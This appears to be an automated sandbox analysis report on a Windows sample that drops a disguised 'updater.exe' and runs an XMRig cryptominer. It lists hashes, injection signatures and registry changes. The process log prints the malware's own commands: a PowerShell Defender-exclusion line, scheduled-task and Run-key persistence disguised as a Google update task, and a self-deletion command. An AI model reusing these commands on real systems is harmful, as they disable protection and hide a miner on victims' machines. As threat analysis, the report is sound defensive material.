Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1800s - max time network
1795s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
- Target grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
- Size 2.0MB
- Sample240123-x6bvbafgem
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 3596 created 3556 3596 DLKFnAGYJBNTnxwq.exe 66 PID 3596 created 3556 3596 DLKFnAGYJBNTnxwq.exe 66 PID 3596 created 3556 3596 DLKFnAGYJBNTnxwq.exe 66 PID 3596 created 3556 3596 DLKFnAGYJBNTnxwq.exe 66 PID 3232 created 3556 3232 updater.exe 66 PID 3232 created 3556 3232 updater.exe 66 PID 3232 created 3556 3232 updater.exe 66 PID 3232 created 3556 3232 updater.exe 66 PID 3232 created 3556 3232 updater.exe 66 - XMRig Miner payload 30 IoCs
resource yara_rule behavioral10/memory/5108-129-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-133-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-134-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-136-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-139-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-142-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-144-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-146-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-148-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-150-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-152-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-154-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-156-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-158-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-160-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-162-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-164-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-166-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-168-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-170-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-172-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-174-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-176-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-178-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-180-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-182-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-184-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-186-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-188-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig behavioral10/memory/5108-190-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 3232 updater.exe -
resource yara_rule behavioral10/memory/5108-125-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-129-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-133-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-134-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-136-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-139-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-142-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-144-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-146-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-148-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-150-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-152-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-154-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-156-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-158-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-160-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-162-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-164-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-166-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-168-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-170-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-172-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-174-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-176-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-178-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-180-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-182-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-184-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-186-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-188-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx behavioral10/memory/5108-190-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3232 set thread context of 1936 3232 updater.exe 111 PID 3232 set thread context of 5108 3232 updater.exe 117 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe DLKFnAGYJBNTnxwq.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1172 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 3596 DLKFnAGYJBNTnxwq.exe 3596 DLKFnAGYJBNTnxwq.exe 4460 powershell.exe 4460 powershell.exe 3596 DLKFnAGYJBNTnxwq.exe 3596 DLKFnAGYJBNTnxwq.exe 4012 powershell.exe 4012 powershell.exe 3596 DLKFnAGYJBNTnxwq.exe 3596 DLKFnAGYJBNTnxwq.exe 3596 DLKFnAGYJBNTnxwq.exe 3596 DLKFnAGYJBNTnxwq.exe 3068 powershell.exe 3068 powershell.exe 3232 updater.exe 3232 updater.exe 2416 powershell.exe 2416 powershell.exe 3232 updater.exe 3232 updater.exe 4100 powershell.exe 4100 powershell.exe 3232 updater.exe 3232 updater.exe 3232 updater.exe 3232 updater.exe 1936 conhost.exe 1936 conhost.exe 3232 updater.exe 3232 updater.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 668 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4460 powershell.exe Token: SeDebugPrivilege 4012 powershell.exe Token: SeIncreaseQuotaPrivilege 4012 powershell.exe Token: SeSecurityPrivilege 4012 powershell.exe Token: SeTakeOwnershipPrivilege 4012 powershell.exe Token: SeLoadDriverPrivilege 4012 powershell.exe Token: SeSystemProfilePrivilege 4012 powershell.exe Token: SeSystemtimePrivilege 4012 powershell.exe Token: SeProfSingleProcessPrivilege 4012 powershell.exe Token: SeIncBasePriorityPrivilege 4012 powershell.exe Token: SeCreatePagefilePrivilege 4012 powershell.exe Token: SeBackupPrivilege 4012 powershell.exe Token: SeRestorePrivilege 4012 powershell.exe Token: SeShutdownPrivilege 4012 powershell.exe Token: SeDebugPrivilege 4012 powershell.exe Token: SeSystemEnvironmentPrivilege 4012 powershell.exe Token: SeRemoteShutdownPrivilege 4012 powershell.exe Token: SeUndockPrivilege 4012 powershell.exe Token: SeManageVolumePrivilege 4012 powershell.exe Token: 33 4012 powershell.exe Token: 34 4012 powershell.exe Token: 35 4012 powershell.exe Token: 36 4012 powershell.exe Token: SeIncreaseQuotaPrivilege 4012 powershell.exe Token: SeSecurityPrivilege 4012 powershell.exe Token: SeTakeOwnershipPrivilege 4012 powershell.exe Token: SeLoadDriverPrivilege 4012 powershell.exe Token: SeSystemProfilePrivilege 4012 powershell.exe Token: SeSystemtimePrivilege 4012 powershell.exe Token: SeProfSingleProcessPrivilege 4012 powershell.exe Token: SeIncBasePriorityPrivilege 4012 powershell.exe Token: SeCreatePagefilePrivilege 4012 powershell.exe Token: SeBackupPrivilege 4012 powershell.exe Token: SeRestorePrivilege 4012 powershell.exe Token: SeShutdownPrivilege 4012 powershell.exe Token: SeDebugPrivilege 4012 powershell.exe Token: SeSystemEnvironmentPrivilege 4012 powershell.exe Token: SeRemoteShutdownPrivilege 4012 powershell.exe Token: SeUndockPrivilege 4012 powershell.exe Token: SeManageVolumePrivilege 4012 powershell.exe Token: 33 4012 powershell.exe Token: 34 4012 powershell.exe Token: 35 4012 powershell.exe Token: 36 4012 powershell.exe Token: SeIncreaseQuotaPrivilege 4012 powershell.exe Token: SeSecurityPrivilege 4012 powershell.exe Token: SeTakeOwnershipPrivilege 4012 powershell.exe Token: SeLoadDriverPrivilege 4012 powershell.exe Token: SeSystemProfilePrivilege 4012 powershell.exe Token: SeSystemtimePrivilege 4012 powershell.exe Token: SeProfSingleProcessPrivilege 4012 powershell.exe Token: SeIncBasePriorityPrivilege 4012 powershell.exe Token: SeCreatePagefilePrivilege 4012 powershell.exe Token: SeBackupPrivilege 4012 powershell.exe Token: SeRestorePrivilege 4012 powershell.exe Token: SeShutdownPrivilege 4012 powershell.exe Token: SeDebugPrivilege 4012 powershell.exe Token: SeSystemEnvironmentPrivilege 4012 powershell.exe Token: SeRemoteShutdownPrivilege 4012 powershell.exe Token: SeUndockPrivilege 4012 powershell.exe Token: SeManageVolumePrivilege 4012 powershell.exe Token: 33 4012 powershell.exe Token: 34 4012 powershell.exe Token: 35 4012 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4344 wrote to memory of 1424 4344 cmd.exe 103 PID 4344 wrote to memory of 1424 4344 cmd.exe 103 PID 3068 wrote to memory of 1600 3068 powershell.exe 104 PID 3068 wrote to memory of 1600 3068 powershell.exe 104 PID 3232 wrote to memory of 1936 3232 updater.exe 111 PID 2944 wrote to memory of 1172 2944 cmd.exe 113 PID 2944 wrote to memory of 1172 2944 cmd.exe 113 PID 3232 wrote to memory of 5108 3232 updater.exe 117 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3596
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3556
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4012
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1424
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3068 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1600
